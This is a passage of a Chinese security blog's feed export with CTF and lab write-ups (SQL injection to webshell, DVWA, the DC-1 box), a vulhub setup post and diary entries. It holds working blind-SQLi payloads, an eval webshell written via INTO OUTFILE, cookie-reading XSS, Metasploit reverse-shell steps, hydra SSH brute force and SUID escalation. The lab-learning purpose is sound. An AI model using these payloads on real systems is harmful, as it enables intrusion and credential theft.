database()),1,1))&#x3D;115,sleep(5),1)–+<br>逐一判断数据库字符<br>?id&#x3D;1’and if(length((select group_concat(table_name) from information_schema.tables where table_schema&#x3D;database()))&gt;13,sleep(5),1)–+<br>判断所有表名长度</p><p>?id&#x3D;1’and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema&#x3D;database()),1,1))&gt;99,sleep(5),1)–+<br>逐一判断表名<br>?id&#x3D;1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema&#x3D;database() and table_name&#x3D;’users’))&gt;20,sleep(5),1)–+<br>判断所有字段名的长度</p><p>?id&#x3D;1’and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema&#x3D;database() and table_name&#x3D;’users’),1,1))&gt;99,sleep(5),1)–+<br>逐一判断字段名。<br>?id&#x3D;1’ and if(length((select group_concat(username,password) from users))&gt;109,sleep(5),1)–+<br>判断字段内容长度</p><p>?id&#x3D;1’ and if(ascii(substr((select group_concat(username,password) from users),1,1))&gt;50,sleep(5),1)–+<br>逐一检测内容。</p><h1 id="通过sql来getshell"><a href="#通过sql来getshell" class="headerlink" title="通过sql来getshell"></a>通过sql来getshell</h1><h2 id="条件和原理"><a href="#条件和原理" class="headerlink" title="条件和原理"></a>条件和原理</h2><blockquote><p>条件：<br> root权限<br> 知道网站根目录绝对路径<br> secure_file_priv为空或指定目录（@@secure_file_priv参数可以其值）<br> gpc关闭<br>原理：<br> 写入webshell，通过参数执行系统命令，结束后删除webshell<br>附：sqlserver getshell条件和原理<br> 条件：<br>  支持外连<br>  有sa权限<br> 原理：<br>  开启xp_cmd扩展执行系统命令  </p></blockquote><h2 id="读写文件"><a href="#读写文件" class="headerlink" title="读写文件"></a>读写文件</h2><blockquote><p>?id&#x3D;-1)))))) union select load_file(‘&#x2F;etc&#x2F;passwd’),2%23<br>root:x:0:0:root:&#x2F;root:&#x2F;bin&#x2F;ash<br>bin:x:1:1:bin:&#x2F;bin:&#x2F;sbin&#x2F;nologin<br>daemon:x:2:2:daemon:&#x2F;sbin:&#x2F;sbin&#x2F;nologin<br>adm:x:3:4:adm:&#x2F;var&#x2F;adm:&#x2F;sbin&#x2F;nologin<br>lp:x:4:7:lp:&#x2F;var&#x2F;spool&#x2F;lpd:&#x2F;sbin&#x2F;nologin<br>sync:x:5:0:sync:&#x2F;sbin:&#x2F;bin&#x2F;sync<br>shutdown:x:6:0:shutdown:&#x2F;sbin:&#x2F;sbin&#x2F;shutdown<br>halt:x:7:0:halt:&#x2F;sbin:&#x2F;sbin&#x2F;halt<br>mail:x:8:12:mail:&#x2F;var&#x2F;mail:&#x2F;sbin&#x2F;nologin<br>news:x:9:13:news:&#x2F;usr&#x2F;lib&#x2F;news:&#x2F;sbin&#x2F;nologin<br>uucp:x:10:14:uucp:&#x2F;var&#x2F;spool&#x2F;uucppublic:&#x2F;sbin&#x2F;nologin<br>operator:x:11:0:operator:&#x2F;root:&#x2F;sbin&#x2F;nologin<br>man:x:13:15:man:&#x2F;usr&#x2F;man:&#x2F;sbin&#x2F;nologin<br>postmaster:x:14:12:postmaster:&#x2F;var&#x2F;mail:&#x2F;sbin&#x2F;nologin<br>cron:x:16:16:cron:&#x2F;var&#x2F;spool&#x2F;cron:&#x2F;sbin&#x2F;nologin<br>ftp:x:21:21::&#x2F;var&#x2F;lib&#x2F;ftp:&#x2F;sbin&#x2F;nologin<br>sshd:x:22:22:sshd:&#x2F;dev&#x2F;null:&#x2F;sbin&#x2F;nologin<br>at:x:25:25:at:&#x2F;var&#x2F;spool&#x2F;cron&#x2F;atjobs:&#x2F;sbin&#x2F;nologin<br>squid:x:31:31:Squid:&#x2F;var&#x2F;cache&#x2F;squid:&#x2F;sbin&#x2F;nologin<br>xfs:x:33:33:X Font Server:&#x2F;etc&#x2F;X11&#x2F;fs:&#x2F;sbin&#x2F;nologin<br>games:x:35:35:games:&#x2F;usr&#x2F;games:&#x2F;sbin&#x2F;nologin<br>cyrus:x:85:12::&#x2F;usr&#x2F;cyrus:&#x2F;sbin&#x2F;nologin<br>vpopmail:x:89:89::&#x2F;var&#x2F;vpopmail:&#x2F;sbin&#x2F;nologin<br>ntp:x:123:123:NTP:&#x2F;var&#x2F;empty:&#x2F;sbin&#x2F;nologin<br>smmsp:x:209:209:smmsp:&#x2F;var&#x2F;spool&#x2F;mqueue:&#x2F;sbin&#x2F;nologin<br>guest:x:405:100:guest:&#x2F;dev&#x2F;null:&#x2F;sbin&#x2F;nologin<br>nobody:x:65534:65534:nobody:&#x2F;:&#x2F;sbin&#x2F;nologin<br>www-data:x:82:82:Linux User,,,:&#x2F;home&#x2F;www-data:&#x2F;sbin&#x2F;nologin<br>mysql:x:100:101:mysql:&#x2F;var&#x2F;lib&#x2F;mysql:&#x2F;sbin&#x2F;nologin<br>nginx:x:101:102:nginx:&#x2F;var&#x2F;lib&#x2F;nginx:&#x2F;sbin&#x2F;nologin</p></blockquote><h2 id="读取nginx配置文件，寻找网站根目录"><a href="#读取nginx配置文件，寻找网站根目录" class="headerlink" title="读取nginx配置文件，寻找网站根目录"></a>读取nginx配置文件，寻找网站根目录</h2><blockquote><p>?id&#x3D;-1)))))) union select load_file(‘&#x2F;etc&#x2F;nginx&#x2F;nginx.conf’),2%23<br>Array ( [0] &#x3D;&gt; Array ( [username] &#x3D;&gt; daemon off; worker_processes auto; error_log &#x2F;var&#x2F;log&#x2F;nginx&#x2F;error.log warn; events { worker_connections 1024; } http { include &#x2F;etc&#x2F;nginx&#x2F;mime.types; default_type application&#x2F;octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; root &#x2F;var&#x2F;www&#x2F;html; index index.php; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location &#x2F; { try_files $uri $uri&#x2F; &#x2F;index.php?$args; } location ~ .php$ { try_files $uri &#x3D;404; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } } } [password] &#x3D;&gt; 2 ) )</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-title function_ invoke__">Array</span><br>(<br>    [<span class="hljs-number">0</span>] =&gt; <span class="hljs-title function_ invoke__">Array</span><br>        (<br>            [username] =&gt; daemon off;<br><br>worker_processes  auto;<br><br>error_log  /<span class="hljs-keyword">var</span>/log/nginx/error.log warn;<br><br>events &#123;<br>    worker_connections  <span class="hljs-number">1024</span>;<br>&#125;<br><br>http &#123;<br>    <span class="hljs-keyword">include</span>       /etc/nginx/mime.types;<br>    default_type  application/octet-stream;<br>    sendfile        on;<br>    keepalive_timeout  <span class="hljs-number">65</span>;<br><br>    server &#123;<br>        listen       <span class="hljs-number">80</span>;<br>        server_name  localhost;<br>        root         /<span class="hljs-keyword">var</span>/www/html;<br>        index index.php;<br><br>        proxy_set_header Host <span class="hljs-variable">$host</span>;<br>        proxy_set_header X-Real-IP <span class="hljs-variable">$remote_addr</span>;<br>        proxy_set_header X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;<br><br>        location / &#123;<br>            try_files <span class="hljs-variable">$uri</span>  <span class="hljs-variable">$uri</span>/ /index.php?<span class="hljs-variable">$args</span>;<br>        &#125;<br><br>        location ~ \.php$ &#123;<br>            try_files <span class="hljs-variable">$uri</span> =<span class="hljs-number">404</span>;<br>            fastcgi_pass   <span class="hljs-number">127.0</span>.<span class="hljs-number">0.1</span>:<span class="hljs-number">9000</span>;<br>            fastcgi_index  index.php;<br>            <span class="hljs-keyword">include</span>        fastcgi_params;<br>            fastcgi_param  SCRIPT_FILENAME  <span class="hljs-variable">$document</span>_root<span class="hljs-variable">$fastcgi_script_name</span>;<br>        &#125;<br><br>    &#125;<br>&#125;<br>            [password] =&gt; <span class="hljs-number">2</span><br>        )<br><br>)<br></code></pre></td></tr></table></figure><h2 id="写入php探针"><a href="#写入php探针" class="headerlink" title="写入php探针:"></a>写入php探针:</h2><blockquote><p>?id&#x3D;-1)))))) union select ‘<?php phpinfo();?>‘,2 into outfile ‘&#x2F;var&#x2F;www&#x2F;html&#x2F;info.php’%23<br><a href="http://node6.anna.nssctf.cn:28413/info.php">http://node6.anna.nssctf.cn:28413/info.php</a></p></blockquote><h2 id="写入webshell"><a href="#写入webshell" class="headerlink" title="写入webshell"></a>写入webshell</h2><blockquote><p>?id&#x3D;-1)))))) union select ‘<?php eval($_POST["cc"]);?>‘,2 into outfile ‘&#x2F;var&#x2F;www&#x2F;html&#x2F;cc.php’%23<br>蚁剑连接：<a href="http://node6.anna.nssctf.cn:28413/cc.php">http://node6.anna.nssctf.cn:28413/cc.php</a> 密码cc</p></blockquote>]]></content>
    
    
    <categories>
      
      <category>SQL</category>
      
    </categories>
    
    
    <tags>
      
      <tag>sql</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>dvwa全解</title>
    <link href="/2024/11/23/dvwa%E5%85%A8%E8%A7%A3/"/>
    <url>/2024/11/23/dvwa%E5%85%A8%E8%A7%A3/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>说到靶机，那么经典的dvwa靶机肯定不能错过，它是一款非常适合新手入门的靶机，它集成了多种漏洞，并且可以自由选择难度，非常适合新手入门，想玩的话自己搭建就好，我这是在服务器上搭的，用来玩玩</p><h2 id="Low"><a href="#Low" class="headerlink" title="Low"></a>Low</h2><h3 id="Brute-Force"><a href="#Brute-Force" class="headerlink" title="Brute Force"></a>Brute Force</h3><p>随便输入后便是这个返回值，说明密码错误<br><img src="https://gitee.com/fogpost/photo/raw/master/202411231240412.png" srcset="/img/loading.gif" lazyload><br>我们用抓包软件抓包，然后发送到repeat，yakit的爆破采用的是文件标签，原理是和bp一样的对字典有要求,利用响应的大小来判断正误<br><img src="https://gitee.com/fogpost/photo/raw/master/202411261753518.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411261806101.png" srcset="/img/loading.gif" lazyload></p><h3 id="command-injection"><a href="#command-injection" class="headerlink" title="command injection"></a>command injection</h3><p>直接在ip查询后面加入的命令执行，可怕可怕，cat也可以执行<br><img src="https://gitee.com/fogpost/photo/raw/master/202411261810028.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411261811659.png" srcset="/img/loading.gif" lazyload></p><h3 id="CSRF"><a href="#CSRF" class="headerlink" title="CSRF"></a>CSRF</h3><p>抓取原来修改密码的报文后在yakit中修改略微，重放便可以修改密码，也可以将网址修改一部分再重放，同样修改成功<br><img src="https://gitee.com/fogpost/photo/raw/master/202411261817959.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411261818130.png" srcset="/img/loading.gif" lazyload><br>这个过程有个技巧就是长链变短链，利用站长工具即可实现，防止社工时让受击者发现<br><img src="https://gitee.com/fogpost/photo/raw/master/202411261824846.png" srcset="/img/loading.gif" lazyload><br>还可以页面构造</p><h3 id="XSS-DOM"><a href="#XSS-DOM" class="headerlink" title="XSS(DOM)"></a>XSS(DOM)</h3><p>查看页面源码，没有php代码，仅有js代码，我们可以利用js脚本<br><img src="https://gitee.com/fogpost/photo/raw/master/202411261914977.png" srcset="/img/loading.gif" lazyload><br>点击英文发现，存在一个明文网址，我们可以利用这个English来做个文章</p><blockquote><p><a href="http://110.41.22.24/vulnerabilities/xss_d/?default=English">http://110.41.22.24/vulnerabilities/xss_d/?default=English</a></p></blockquote><blockquote><p><a href="http://110.41.22.24/vulnerabilities/xss_d/?default=%5C">http://110.41.22.24/vulnerabilities/xss_d/?default=\</a><script>alert('xss')&lt;/script></p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411261906137.png" srcset="/img/loading.gif" lazyload></p><h3 id="XSS-Reflected"><a href="#XSS-Reflected" class="headerlink" title="XSS(Reflected)"></a>XSS(Reflected)</h3><p>反射式XSS，查看源码，同上只不过这次是在输入框中进行反射<br><img src="https://gitee.com/fogpost/photo/raw/master/202411261914096.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>&lt;script>alert('xss')&lt;/script></p></blockquote><p>拿cookie</p><blockquote><p>&lt;script>alert(document.cookie)&lt;/script><br><img src="https://gitee.com/fogpost/photo/raw/master/202411261911735.png" srcset="/img/loading.gif" lazyload></p></blockquote>]]></content>
    
    
    <categories>
      
      <category>渗透测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>dvwa</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>vulhub搭建</title>
    <link href="/2024/11/21/vulhub%E6%90%AD%E5%BB%BA/"/>
    <url>/2024/11/21/vulhub%E6%90%AD%E5%BB%BA/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>涉及一些经典的漏洞和靶场环境，如果有现成的可以下载固然很好，但是当需要我们自己复现和搭建环境时便会出现许多的bug，这时便需要一个较好的工具来实现便捷的靶场环境构建，这个工具便是vulhub，它是一个基于docker的漏洞环境集合，方便我们快速搭建漏洞环境，作者是p牛也是人尽皆知的离别歌，可以去看看人家的博客网</p><h1 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h1><p>vulhub是个基于docker的工具平台，自行下载docker和docker-compose</p><h2 id="下载Vulhub"><a href="#下载Vulhub" class="headerlink" title="下载Vulhub"></a>下载Vulhub</h2><p>任意创建一个文件夹,从github获取对应的靶场环境,然后进入vulhub目录</p><blockquote><p>git clone <a href="https://github.com/vulhub/vulhub.git">https://github.com/vulhub/vulhub.git</a><br>cd vulhub</p></blockquote><p>随便进入一个目录,比如shiro,ls+cd进入想要的cve文件中启动docker-compose<br>即可创建靶场，注意内存资源的分配，以及部分漏洞各个工具的版本问题<br><img src="https://gitee.com/fogpost/photo/raw/master/202411211945375.png" srcset="/img/loading.gif" lazyload></p><p>搭建还是挺简单的</p>]]></content>
    
    
    <categories>
      
      <category>工具</category>
      
    </categories>
    
    
    <tags>
      
      <tag>tool</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>服务器更新计划和流程</title>
    <link href="/2024/11/20/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9B%B4%E6%96%B0%E8%AE%A1%E5%88%92%E5%92%8C%E6%B5%81%E7%A8%8B/"/>
    <url>/2024/11/20/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9B%B4%E6%96%B0%E8%AE%A1%E5%88%92%E5%92%8C%E6%B5%81%E7%A8%8B/</url>
    
    <content type="html"><![CDATA[]]></content>
    
    
    
  </entry>
  
  
  
  <entry>
    <title>DC-提权靶机</title>
    <link href="/2024/11/19/DC-%E6%8F%90%E6%9D%83%E9%9D%B6%E6%9C%BA/"/>
    <url>/2024/11/19/DC-%E6%8F%90%E6%9D%83%E9%9D%B6%E6%9C%BA/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>学习web怎么可以少了对靶机的攻击呢，渗透方向的学习必须要有靶机攻击的基础，前几天看到一篇文章发现DC系列正好可以来训练自己的水平和对工具的理解和使用</p><h1 id="平台"><a href="#平台" class="headerlink" title="平台"></a>平台</h1><p>攻击机 kali2024.3<br>靶机 DC系列</p><h1 id="具体攻击"><a href="#具体攻击" class="headerlink" title="具体攻击"></a>具体攻击</h1><h2 id="DC-1"><a href="#DC-1" class="headerlink" title="DC-1"></a>DC-1</h2><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><h4 id="目标机ip"><a href="#目标机ip" class="headerlink" title="目标机ip"></a>目标机ip</h4><p>在利用ifconfig了解知道自己的ip为192.168.56.135后利用nmap扫描同网段存活主机</p><blockquote><p>nmap -sP 192.168.56.135&#x2F;24<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191207141.png" srcset="/img/loading.gif" lazyload></p></blockquote><p>也可以利用arp-scan:</p><blockquote><p>arp-scan -l<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191209537.png" srcset="/img/loading.gif" lazyload></p></blockquote><p>获取到目标机ip为192.168.56.146</p><h4 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h4><blockquote><p>nmap -A 192.168.56.146，详细扫描了对应的服务和版本<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191211378.png" srcset="/img/loading.gif" lazyload></p></blockquote><h4 id="目标访问"><a href="#目标访问" class="headerlink" title="目标访问"></a>目标访问</h4><p>我们发现存在80端口，利用web访问这个ip地址发现登录页面<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191214818.png" srcset="/img/loading.gif" lazyload><br>利用目录扫描工具，查看这个ip的目录文件</p><h3 id="指纹识别"><a href="#指纹识别" class="headerlink" title="指纹识别"></a>指纹识别</h3><p>利用whatweb工具识别web服务器的指纹，在火狐上面有个好用的工具叫做wapper，也可以查看对应的cms服务，不过可能需要网速比较快才好</p><blockquote><p>whatweb -v 192.168.56.146,扫描到主要的系统版本，服务号和php版本<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191219907.png" srcset="/img/loading.gif" lazyload><br>wapper：<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191218063.png" srcset="/img/loading.gif" lazyload><br>发现CMS为Drupal，版本为7</p></blockquote><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>发现cms便可以尝试一下msf来使用现成的攻击模块了</p><h4 id="msfconsole获取session"><a href="#msfconsole获取session" class="headerlink" title="msfconsole获取session"></a>msfconsole获取session</h4><blockquote><p>msfconsole ，利用search命令搜索cms的漏洞<br>search Drupal<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191223407.png" srcset="/img/loading.gif" lazyload><br>发现序号为1的可以使用，我们完成设定好攻击模块的各个参数<br>use 1<br>show payloads<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191225109.png" srcset="/img/loading.gif" lazyload><br>我们发现，这些payload和前面出现的tcp端口可能有关系所以选择payload为php&#x2F;meterpreter&#x2F;reverse_tcp<br>set payload php&#x2F;meterpreter&#x2F;reverse_tcp<br>show options<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191227042.png" srcset="/img/loading.gif" lazyload><br>yes为必填大部分已经完成我们设计好攻击机ip，RHOSTS即可<br>set rhosts 192.168.56.146<br>exploit<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191229430.png" srcset="/img/loading.gif" lazyload><br>执行完成获取session  </p></blockquote><h4 id="获取shell登录sql"><a href="#获取shell登录sql" class="headerlink" title="获取shell登录sql"></a>获取shell登录sql</h4><blockquote><p>获取DC-1的信息和shell，运用python反弹，获取更好的交互<br>sysinfo shell<br>python -c “import pty;pty.spawn(‘&#x2F;bin&#x2F;bash’)”<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191233860.png" srcset="/img/loading.gif" lazyload><br>ls+cat查看flag1<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191235094.png" srcset="/img/loading.gif" lazyload><br>利用find . -name “set*”查找set文件<br>发现settings文件,查看文件，发现flag和数据库信息<br><img src="https://gitee.com/fogpost/photo/raw/master/202411191237652.png" srcset="/img/loading.gif" lazyload><br>使用数据库账户和密码来登录数据库<br>mysql -udbuser -pR0ck3t<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201642780.png" srcset="/img/loading.gif" lazyload><br>show databases;查看数据库<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201642468.png" srcset="/img/loading.gif" lazyload><br>use drupaldb; show tables;查看表,发现users表<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201644727.png" srcset="/img/loading.gif" lazyload><br>看表select * from users;看表结构desc users;<br>发现name和pass列<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201646673.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411201647915.png" srcset="/img/loading.gif" lazyload></p></blockquote><h4 id="覆盖admin密码登录"><a href="#覆盖admin密码登录" class="headerlink" title="覆盖admin密码登录"></a>覆盖admin密码登录</h4><blockquote><p>查看加密方式，搜索文件， find . -name “password*”<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201651432.png" srcset="/img/loading.gif" lazyload><br>查看password-hash.sh,发现为php加密文件，了解发现是使用 Drupal 的密码算法（基于 PBKDF2 和可配置的工作因子）生成一个加盐的安全哈希，没能力搞不懂我们用它来生成一个密码的哈希值，然后用这个哈希值去覆盖来登录<br>php  .&#x2F;scripts&#x2F;password-hash.sh  123456<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201656246.png" srcset="/img/loading.gif" lazyload><br>hash: $S$Dyi0o5A9rq9O4imggBtz.INzLGWgqCjo67vC15JYgHjEVtkpdV&#x2F;F<br>覆盖admin的密码<br>mysql&gt;update users set pass&#x3D;”$S$Dyi0o5A9rq9O4imggBtz.INzLGWgqCjo67vC15JYgHjEVtkpdV&#x2F;F” where name&#x3D;”admin”;<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201700729.png" srcset="/img/loading.gif" lazyload><br>成功登录，之后再dashborad中发现falg3<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201700614.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411201701862.png" srcset="/img/loading.gif" lazyload></p></blockquote><h4 id="获取flag4，爆破密码"><a href="#获取flag4，爆破密码" class="headerlink" title="获取flag4，爆破密码"></a>获取flag4，爆破密码</h4><blockquote><p>查看etc&#x2F;passwd,发现falg4的账户，查询falg4的home目录<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201702238.png" srcset="/img/loading.gif" lazyload><br>，这次发现需要root目录，而且让我们爆破了<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201703822.png" srcset="/img/loading.gif" lazyload><br>我们也有可能无法访问&#x2F;home&#x2F;flag4&#x2F;flag4.txt，可以用hydra工具来爆破flag4的密码,发现密码是，orange<br>hydra -l flag4 -P &#x2F;usr&#x2F;share&#x2F;john&#x2F;password.lst 192.168.56.146 ssh<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201709083.png" srcset="/img/loading.gif" lazyload></p></blockquote><h3 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h3><h4 id="suid提权"><a href="#suid提权" class="headerlink" title="suid提权"></a>suid提权</h4><p>查找一个属于root的拥有s权限的文件</p><ul><li>SUID(Set User ID)，SUID 可以让调用者以文件拥有者的身份运行该文件，所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件，那么我们运行该文件的时候就得获得 root 用户的身份了。</li></ul><p>常见的可用于 SUID 提权的文件有：</p><blockquote><p>find、bash、nmap、vim、more、less、nano、cp<br>&#x2F;&#x2F;当没有s权限时可以使用：chmod u+s 命令路径，增加权限</p></blockquote><p>查找哪些命令具备 SUID 标识</p><blockquote><p>find &#x2F; -perm -4000 2&gt;&#x2F;dev&#x2F;null<br>find &#x2F; -perm -u&#x3D;s -type f 2&gt;&#x2F;dev&#x2F;null</p></blockquote><p>发现find文件<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201714007.png" srcset="/img/loading.gif" lazyload><br>使用find文件来提权：<br>利用 find 命令随便查找一个正确的文件（夹）路径，后面加上 -exec shell 命令 ;<br>提权 &#x2F;bin&#x2F;bash 或者 &#x2F;bin&#x2F;sh<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201717565.png" srcset="/img/loading.gif" lazyload><br>最后完成flag获取<br><img src="https://gitee.com/fogpost/photo/raw/master/202411201719543.png" srcset="/img/loading.gif" lazyload></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>DC-1虽然还是比较简单，但是流程也比较长在此做一个总结，DC-1靶机主要考察了信息收集、漏洞利用、权限提升、提权等基本知识。<br>数据库的操作，suid提权，hydra爆破ssh端口，这些都是我之前没有接触过的跟着流程走一边还是挺好的</p>]]></content>
    
    
    <categories>
      
      <category>省投测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>电子榨菜</title>
    <link href="/2024/11/18/%E7%94%B5%E5%AD%90%E6%A6%A8%E8%8F%9C/"/>
    <url>/2024/11/18/%E7%94%B5%E5%AD%90%E6%A6%A8%E8%8F%9C/</url>
    
    <content type="html"><![CDATA[<h1 id="电子榨菜"><a href="#电子榨菜" class="headerlink" title="电子榨菜"></a>电子榨菜</h1><h2 id="2024-10-26-23-06-28"><a href="#2024-10-26-23-06-28" class="headerlink" title="2024-10-26 23:06:28"></a>2024-10-26 23:06:28</h2><p>写写干了什么，现在好想玩星际啊，不想写东西了，直接开完，这个geekcode还会接我话好玩的，星际推荐玩星际酒馆，不过在写这个东西的时候突然发现，一个功能，就是vscode的自动换行功能直接搜就行好用的，会根据现在的页面大小自动换行，星际战役好贵啊250，早十年玩就好了，还会送的，要不要写写明天干什么呢。，加个评论，看看这些好玩吧<br><img src="https://gitee.com/fogpost/photo/raw/master/202410262318542.png" srcset="/img/loading.gif" lazyload></p><h2 id="2024-10-29"><a href="#2024-10-29" class="headerlink" title="2024-10-29"></a>2024-10-29</h2><p>今天的网鼎杯也是坐上一次大牢了，八个小时满打满算直接看了5个小时的空挡，这个是安卓，也是坐上牢，我发现逆向领域简直就是一个乙游大世界，想要成熟稳重有我们的windows逆向，想要幽默风趣有我们的安卓逆向，想要老公姐有我们的硬件逆向，我们逆向领域真是吃得太好了，妈的刚刚发生了一件大事，狗吧微软把我的贴子吃掉了，php木马的篇帖子直接被删了没办法还原，看样子以后还是尽量用图片把，晚上陪337寝室出去嗨皮了一把，被ylq坑惨了，🐕吧带的什么破地方，吃不得，下次带我的好朋友hy去吃，明天开始看看逆向核心原理吧，沉淀得太少喽。<br><img src="https://gitee.com/fogpost/photo/raw/master/202410292358898.jpg" srcset="/img/loading.gif" lazyload></p><h2 id="2024-11-7"><a href="#2024-11-7" class="headerlink" title="2024-11-7"></a>2024-11-7</h2><p>距离上次记录已经过了这么久了啊，也是过去一个多礼拜了，这个礼拜感觉有点摆烂了，早点离开寝室去搞复习，不然就要挂大科了，绝对不能挂科，不然会难受死去，我也是是给小登出上题了，但是感觉不太好现在就发过程出来，等比赛结束以后再从草稿箱里面拿出来吧，最近又看到一个新的ctf知识网站了，感觉挺不错的但是又有一个通病，逆向方面是真的不行，我在想要不要自己再搭一个reverse-wiki出来，好好强化一下这个领域的实力，不然真的逆向不如和pwn和在一起算了，虽然本来也差不多，但是过程逆向和漏洞利用的区别还是有的</p><h2 id="2024-11-10"><a href="#2024-11-10" class="headerlink" title="2024-11-10"></a>2024-11-10</h2><p>又过了两天了，该开始高区块链的复习了，嗯嗯还有网课注意一下，那些网课要去刷，最近又发现了好用的工具Microsofttodo，虽然少了些功能但是能用就行，ticktick还是有些麻烦，写算法我写写写，每次周末就是摆大烂，感觉这个recerse-wiki要留到寒假去搞了，但是寒假就要开始准备考研了，时间不多喽，看看寒假能不能开个好头<br><img src="https://gitee.com/fogpost/photo/raw/master/202411102003839.png" srcset="/img/loading.gif" lazyload></p><h2 id="2024-11-18"><a href="#2024-11-18" class="headerlink" title="2024-11-18"></a>2024-11-18</h2><p>娘西皮的，又这个点了，看样子要积极出去搞学习，寝室就是摆大烂，狗屎软件工程不会复习，昨天晚上又和室友讨论怎么活下去的问题，人生啊任重而道远，考研，考公，或是直接工作都是一种选择，我是想去考研究生的，也必然是要去做这件事的，但是事实合乎如此么，也确实是合乎如此<br><img src="https://gitee.com/fogpost/photo/raw/master/202411182346697.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>电子榨菜</category>
      
    </categories>
    
    
    <tags>
      
      <tag>snake</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>web安全流程</title>
    <link href="/2024/11/15/web%E5%AE%89%E5%85%A8%E6%B5%81%E7%A8%8B/"/>
    <url>/2024/11/15/web%E5%AE%89%E5%85%A8%E6%B5%81%E7%A8%8B/</url>
    
